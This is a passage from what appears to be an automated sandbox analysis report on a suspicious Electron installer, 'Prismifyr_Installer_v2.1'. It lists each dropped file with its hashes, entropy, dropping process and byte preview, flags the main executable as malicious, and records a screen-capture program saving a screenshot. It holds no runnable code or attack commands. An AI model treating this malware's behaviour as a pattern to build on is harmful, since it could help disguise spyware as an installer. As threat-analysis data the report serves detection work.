SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\LICENSES.chromium.html

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9431332
Entropy (8bit):	4.776029024260704
Encrypted:	false
SSDEEP:	24576:G8QQf6Ox6j1newR6Xe1VmfQ6k6T6W6r656+eGj7dOp+:fGyeGd
MD5:	C5DE877A372447FDD303C1026FB432F2
SHA1:	6FC0A751EDACBE061E97248FA550691225891030
SHA-256:	4BF4DD1A05ECBA975C90D85117DEA74B0E94114F882BB26A7E7D1029AFE8FDA8
SHA-512:	B3079B18419CA854118E12E8D4681C9E66AE55FBB1F69CFB3EF6322A1C17557C0ADBFAB5CED030133AF814D39483A2B5C7090CA3ABB545E8808FFB6ABE6B3AE6
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	186389504
Entropy (8bit):	6.755948449281348
Encrypted:	false
SSDEEP:	1572864:AafJfQkKEVr6FTkCbxqd6PgLAAez2YCSXczL2UG4kbffUgAPqpL44fQ4lTX3omTB:D5kbdbB39f
MD5:	F90856B824B429A51D390C25F21C9683
SHA1:	D0EDD6E25D5C7B50C320794C956AE63A0012620A
SHA-256:	147327A853ADCEDDCF49A5CF07E7A727E87798F399E3AF5680909B640DE4DBE4
SHA-512:	B51B39808E961EAC513CD42E3B5030F0BF3268DC91DE4B3CC17B8B7C1C38B214935783E02204EE3F5BAECA0037B16BC23DC26DDDB6D9F9B3A970DE092D6415F4
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......f%......... C~........@............................. [...........`......................................... ........;..h.....H..........%I...........K.$&..............................(.....%.@...........0R.......b.......................text....e%......f%................. ..`.rdata........%......l%.............@..@.data.....H..0...>..................@....pdata...%I......&I..P..............@..@.gxfg....B....H..D...v..............@..@.retplne.....PH..........................rodata......`H..................... ..`.tls..........H.....................@...CPADinfo8.....H.....................@...LZMADEC.......H..................... ..`_RDATA........H.....................@..@malloc_h......H..................... ..`prot..........H.....................@..@.rsrc.........H.....................@..@.reloc..$&....K..(..................@..B................

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\chrome_100_percent.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	151326
Entropy (8bit):	7.91733776058705
Encrypted:	false
SSDEEP:	3072:Mz8JCGIdkwTPa/XKjKkxP1L2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Mz81Idk8a4Kkx5K18Gb0OV8ld0GecQ35
MD5:	3C72D78266A90ED10DC0B0DA7FDC6790
SHA1:	6690EB15B179C8790E13956527EBBF3D274EEF9B
SHA-256:	14A6A393C60F62DF9BC1036E98346CD557E0AE73E8C7552D163FA64DA77804D7
SHA-512:	B1BABF1C37B566A5F0E5F84156F7AB59872690BA0BDD51850525F86769BFEBC245F83988A3508945CF7617D73CD25E8469228974DD2C38415388B6A378552420
Malicious:	false
Preview:	..........<.....................V...........C.......................4...........i.....9......!.....%....:'.....1.....<....f?.....C.....G.....I.....J.....M.....O.....R....vV.....Z.....]....H`.....a....-c....Td.....f..%..f..&..l..(.Dr..+..v..3..y..4..}..=.....>.....?.3...A.....E.....F.....I....J.%...K....L.....V.....W.u...X.....Y.=....+....L.................. ....1........".....#.....$.....%.....&.....'.....,.,...-........ ....#....%.........0.....3...."9....2D.....E.....N.....T....QZ...._....f....Mh.....l....p....Ez....e}..............A.....y..........G................x....................................k.....B..........F...........X..........!...!.O...".....$.B...%....*.B...,.....-.........F.....G....H.b...I.....J.h...K.=...L.....M.....N.....O....P.....Q.n...R.....S....T....U....V.....W.\|...Y.@!..Z.."..[.."..\.#..].e$..^..%.._..%..`..'..a..(..b..)..e..,.....1...."2....y2.....2....n3....4....e5....5.....6....U6....6.....6.....<.....@....bA.....A

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\chrome_200_percent.pak

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	228242
Entropy (8bit):	7.947127774301086
Encrypted:	false
SSDEEP:	6144:HDQYajN6svyABnI86uKkxugx5GMRejnbdZnVE6YoppO4:sfjN6svyABTKkxa6edhVELoXO4
MD5:	3969308AAE1DC1C2105BBD25901BCD01
SHA1:	A32F3C8341944DA75E3EED5EF30602A98EC75B48
SHA-256:	20C93F2CFD69F3249CDFD46F317B37A9432ECC0DE73323D24ECF65CE0F3C1BB6
SHA-512:	F81ED1890B46F7D9F6096B9EF5DAAB5B21788952EFB5C4DCD6B8FD43E4673A91607C748F31434C84A180D943928D83928037058493E7E9B48C3DE1FC8025DF7F
Malicious:	false
Preview:	..........<......... .........................................v%..........-....25.....:.....>....=G.....K....._....Yt....uy.....................g........................................\|...........b...........6...%.....&.z...(.J...+.....3.....4.....=.r...>."...?.....A.....E.....F..#..I.c+..J..7..K..?..L..F..V..J..W.~M..X..R..Y.nS....T....X....[....^...a....d....i....l.."..p..#..r..$..s..%..t..&..u..'..v..,.,w..-..................".....d.....m........................................X................x...... .....#....-.....0....#9.....=.....F.....Q....KU.....V....._....Kh.....j....>m....Kq....`x....xy.........`...............^.....\.....I.....j.....[........!...."....$....%.S.......,.....-..........F....G.....H.....I.....J....K.:...L.....M.-...N.....O.\|...P.....Q....R....S.f...T.G...U._ ..V.e&..W..,..Y..1..Z.J3..[.@4..\.c5..].6..^.7.._.8..`.p:..a.$<..b..=..e.J....Z.....Z....G[....[....T\....]....c^....^....._....w_....._.....`....?f....5j.....j....Mk

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\d3dcompiler_47.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916728
Entropy (8bit):	6.398031738914566
Encrypted:	false
SSDEEP:	49152:hCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRN1:oG2QCwmHjnog/pzHAo/Ayc
MD5:	A7B7470C347F84365FFE1B2072B4F95C
SHA1:	57A96F6FB326BA65B7F7016242132B3F9464C7A3
SHA-256:	AF7B99BE1B8770C0E4D18E43B04E81D11BDEB667FA6B07ADE7A88F4C5676BF9A
SHA-512:	83391A219631F750499FD9642D59EC80FB377C378997B302D10762E83325551BB97C1086B181FFF0521B1CA933E518EAB71A44A3578A23691F215EBB1DCE463D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: svchost.exe, Detection: malicious, Browse Filename: JaborSetup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: DungeOfDestiny Setup 1.0.0.exe, Detection: malicious, Browse Filename: Game.exe, Detection: malicious, Browse Filename: bot_library.exe, Detection: malicious, Browse Filename: svAsYrT598.exe, Detection: malicious, Browse Filename: kc8qrDHj1V.exe, Detection: malicious, Browse Filename: Solicitud de Cotizaci#U00f3n #U2013 Cat#U00e1logo de Muestras2024.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d.....Ne.........." ......8..........<).......................................K......JK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\ffmpeg.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2924544
Entropy (8bit):	6.704464688156766
Encrypted:	false
SSDEEP:	49152:2kzMF+in6Rjp84IEeOUmlyNTzk74y0V+X6CfTBPwN/4MT+fc0:2kXpCOUyy5Z96Q/Wk
MD5:	070710A53A0F388A2967D6084228DB12
SHA1:	34E72D2AEFD79AEE42BF85D6AAFF35B82AB1EF65
SHA-256:	4813EFA3758EE8AAC161FE00806F9EC4B65E31886FFA2075115D4986F9D05205
SHA-512:	12558C42135CDF3BDF5A24DA235C48DA5A28789C90CDEBF85FEA5746BA18BBD4428F9A8F0A47876D2ACF4E22EEB04AEA96A0317F8480082073D42FAAD8306952
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......#..........k........................................:...........`A........................................0.........(............p9..............:.@5..,.........................(.....$.@...........x.*.8............................text.....#.......#................. ..`.rdata..D.....$.......#.............@..@.data.........+.."...p+.............@....pdata......p9.......+.............@..@.gxfg....+... :..,...8,.............@..@.retplne.....P:......d,..................tls.........`:......f,.............@..._RDATA.......p:......h,.............@..@.reloc..@5....:..6...j,.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\icudtl.dat

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	data
Category:	dropped
Size (bytes):	10468208
Entropy (8bit):	6.265606239082294
Encrypted:	false
SSDEEP:	196608:+SPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2Y6U:++wkpHiXUxY/iJ53IWhlVjEeIZU
MD5:	FFD67C1E24CB35DC109A24024B1BA7EC
SHA1:	99F545BC396878C7A53E98A79017D9531AF7C1F5
SHA-256:	9AE98C06CBB0EA43C5CD6B5725310C008C65E46072421A1118CB88E1DE9A8B92
SHA-512:	E1A865E685D2D3BACD0916D4238A79462519D887FEB273A251120BB6AF2B4481D025F3B21CE9A1A95A49371A0AA3ECF072175BA756974E831DBFDE1F0FEAEB79
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E...(...E...)...F...).."F...1..5F..`1..EF...N..XF..PN..hF...N..xF.......F.......F.......F..@....F.......F......F..0....F.......G......$G......7G......JG......]G..@...pG.......G.......G..@....G.......G.......G..@....G.......G..p....H..`....H.......H..@...AH......TH..p...gH.....zH.......H..`....H.......H.......H..P....H.......H......H..`....I......%I..P...:I......RI.....bI..@...uI.......I.......I.......I..P....I.......I.......I..0....I.......J... ...J.. !..-J..@$..=J...$..PJ...$..qJ.......J...<...J....&..J....&..J.. .&..J....&..K..`.&..K....&.3K....&.JK..0.&.aK....'.xK....'..K....'..K...(..K....(..K...O)..K....)..L..0Q.>L..`..gL..Pi+..L....+..L...i,..L....,..L..P}-..M..@.-.,M.. .-.EM....-.\M....-.uM....-..M...$...M..0%...M....0..M...j0..M..`.0..N..p.0.1N....0.AN....0.TN..@.0.iN....0..N..0.0..N....0..N....0..N....1..N....1..N..

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libEGL.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	484352
Entropy (8bit):	6.370928516739512
Encrypted:	false
SSDEEP:	6144:teoMqSwktU6O8J6AGrIKLD0Rv8KRWAwi+u7fSGSQtZu:ZMeAQ8JFGrIKLDW9W2+u7fSGSb
MD5:	0109839C82BFB399D68D906DEF2E3618
SHA1:	11879DA345C681DB933A893954A08F8DF6923636
SHA-256:	1393633DCCB633E44F717A3737E4B88315662856916FE534B5F9017E15464074
SHA-512:	B25AD5F24E20654622C53CE89D6AFF0678179F823CB446110AB64ECCA8E2688D5E98582985699D82C473D87F31AD12398DDFE6911B970021C96EBC587F8A06B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....L................................................................`A.........................................L.......[..(.......x....0...?..............<....D.......................C..(....`..@............^...............................text...:K.......L.................. ..`.rdata...q...`...r...P..............@..@.data....K....... ..................@....pdata...?...0...@..................@..@.gxfg... &...p...(..."..............@..@.retplne.............J...................tls....!............L..............@..._RDATA...............N..............@..@.rsrc...x............P..............@..@.reloc..<............V..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libGLESv2.dll

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8364544
Entropy (8bit):	6.49454047094872
Encrypted:	false
SSDEEP:	98304:5sbPUQUHoQ5dKV0H4HrX7OBAK2dMNFR7VxVXC3OTv+:5sbP/UHoQ5AV++wAlMlVXmOK
MD5:	EBFBBD4F4887CADD1C135F4CA714E00F
SHA1:	C37FC4A0F627D5346561EB29C556A54A050C8D95
SHA-256:	FCE6894831D945EC7CA141290DD5B57375D83621B8EDF13BA02B14CADCEE6C29
SHA-512:	EC15F8700330994B95C7F0961ECCBB8CD8401AF3051448375347A2E75352F1D9034A1C68E5B9AAB887D07360E38FC301F256B466DCC83377451F171320440B13
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......c...........T...................................................`A........................................].w.......w.d.............\|.\J...................v.......................v.(.....c.@.............x.......w.@....................text.....c.......c................. ..`.rdata........c.......c.............@..@.data.........x.......x.............@....pdata..\J....\|..L...F\|.............@..@.gxfg....-...@........~.............@..@.retplne.....p........~..................tls....B.............~.............@..._RDATA................~.............@..@.rsrc.................~.............@..@.reloc................~.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	140288
Entropy (8bit):	6.055411992765344
Encrypted:	false
SSDEEP:	3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
MD5:	04BFBFEC8DB966420FE4C7B85EBB506A
SHA1:	939BB742A354A92E1DCD3661A62D69E48030A335
SHA-256:	DA2172CE055FA47D6A0EA1C90654F530ABED33F69A74D52FAB06C4C7653B48FD
SHA-512:	4EA97A9A120ED5BEE8638E0A69561C2159FC3769062D7102167B0E92B4F1A5C002A761BD104282425F6CEE8D0E39DBE7E12AD4E4A38570C3F90F31B65072DD65
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..............C.......C.....C................................"...C...............................................Rich............................PE..d....-!e.........." ...#.>..........XG....................................................`.............................................X.......<....`.......0..$............p..........p...............................@............P..........@....................text...`=.......>.................. ..`.rdata.......P.......B..............@..@.data...............................@....pdata..$....0......................@..@_RDATA..\....P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	723774
Entropy (8bit):	7.929666169821963
Encrypted:	false
SSDEEP:	12288:HZ/HLvaMWGmn4woKZc9FwK2iIeOEM8505vPRm+OjEYLtMK26MS6NNu8qCKOhiHlP:HpLdWGWrUInEB5CZmuYLtL26MS6H7KO8
MD5:	2F89AF054F06FFA920DA05F08AB9021D
SHA1:	381ACF8F43551143AE51F1557C72903C25647412
SHA-256:	A8E754F496AE6DC88DC8876FBA62E817AE600EA6C03D88453D81F49D71CDFFAB
SHA-512:	8CA71BD3B5B8D22AF2C65F2C6B3E403BFF9F9DD8C0495A2125284A2735E15015F960E0D3BCCDEE8CB75FBCB6190895A0D23840ED62234D39046DBAA1855F25FD
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....mG....].........t....37f...w4.=...H.A....^H .......0.........#t..... .....U..........".../....R.z..:.S~^M.g..t.....m~...g..=i..91}..fM....9!.....zQ\|..*..5I....q.t.}..\|..}.&.......F......b..}l..G.).......t.J..`....=.L.^.=...I.9........~....9.=.91.......o.t?~.XL.t?v..\|..E.......3.~...L}H..#.=0.9..}.....1>........#1....}.m.YT0....;.O,..zW...w..e.;.....s.v..?....L..G.Eo..z..{ ...?.9.+V.....m_c..E..~.L.[..{..\|......j.n....y...xSf..7....>....KR.`.....Pu.x...R...R\k....}j..>..K..j`.y...S{_.....j.>i........}.4}..[..u9.t..%.K9{..A.......T...:.^.....}...X.O.d...)gYj..Ky.K.K...W.9..>.].....hK...].....m`.h.4...NW...{^_-.#...K.t.~...WT............N.U..............%.^.Y.K.n....c~Y..K.._....X..;...O{....c`...R\|.4.P.j..g.mwi.........y..M.n.......V...... ...v....m.....Z.e.5......j.x....%.-.uS....q...{.b.O...Uw.s^g..rL....b

C:\Users\user\AppData\Local\Temp\RES9E2A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x68c, 10 symbols, created Thu Oct 24 11:52:54 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1860
Entropy (8bit):	4.450602963572197
Encrypted:	false
SSDEEP:	24:Hj3W9lazks6XX+faHawK2MaTfIl2xDEuZhN9utaEYiPNnquVm4+A8AlYlPC:7fzAtRK2JTwl2uulAtVYuquV8ElYw
MD5:	BBA77B0F20700465FAB6C55B5AD1B91D
SHA1:	2FF8C3CEFD7CC5C6B476458B3A37C3F97FA0B3E2
SHA-256:	5D86E40B43EF36639D3BBA9724B02F339A1E4D62F3F2D4EA4B953ED63F93A253
SHA-512:	F79F5ECB99F515B1E7198E199B55A18759758E8F7124EC4F2EBB0463CFE75515243C1F9F9321AE1BCC6E294BC52AB16F9E02D66C3B872412ED449DFF8F669D79
Malicious:	false
Preview:	L....5.g.............debug$S........t...................@..B.rsrc$01............................@..@.rsrc$02............................@..@........[....c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP....................$g.T...F.............7.......C:\Users\user\AppData\Local\Temp\RES9E2A.tmp.-.<....................a..Microsoft (R) CVTRES.x.=..cwd.C:\Users\user\AppData\Local\Temp\screenCapture.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................t...............^...............................t.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30yl2bau.vpk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blnyxkri.h5s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bu4maval.aua.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzolp3or.xvi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node

Download File

Process:	C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1722368
Entropy (8bit):	6.559553036482321
Encrypted:	false
SSDEEP:	24576:OMMdw/xGhYiRWVNx74QE5MOTQsoXYk5DWxIHk/KZSwM/1rg5Wpf:OgNxI5MWQsCd5qmE/rC
MD5:	127FC9433C0F922BB485EF3CDAE0120B
SHA1:	F7D8AEBB4B9001F2024A5AC70C04AB2DBFDE4819
SHA-256:	58907A746AB3DE2D68E914B98CB675EC7BE892A8CC882B9173CA4AD1B6B6680C
SHA-512:	74F00FB0D1E9CDA9A4747A26F7A71FF4A347C642E6B40EF6CA37D933DE86899BC413A49DF004FF32FA522E4010A5AC712C9DA00F898344DE1C44ED2A6950F1A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........!..yO_.yO_.yO_..K^.yO_..L^.yO_..J^!yO_..K^.yO_..L^.yO_..J^.yO_..N^.yO_.yN_\|yO_y.F^.yO_y.O^.yO_y.._.yO_y.M^.yO_Rich.yO_................PE..d...!..g.........." .....\..........<.....................................................`.........................................p...........(...............................8.......p............................G..8............p..........@....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data... f.......P..................@....pdata...............F..............@..@_RDATA.......p......................@..@.rsrc................0..............@..@.reloc..8............2..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\LICENSE.electron.txt

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\LICENSES.chromium.html

Download File

Process:	C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9431332
Entropy (8bit):	4.776029024260704
Encrypted:	false
SSDEEP:	24576:G8QQf6Ox6j1newR6Xe1VmfQ6k6T6W6r656+eGj7dOp+:fGyeGd
MD5:	C5DE877A372447FDD303C1026FB432F2
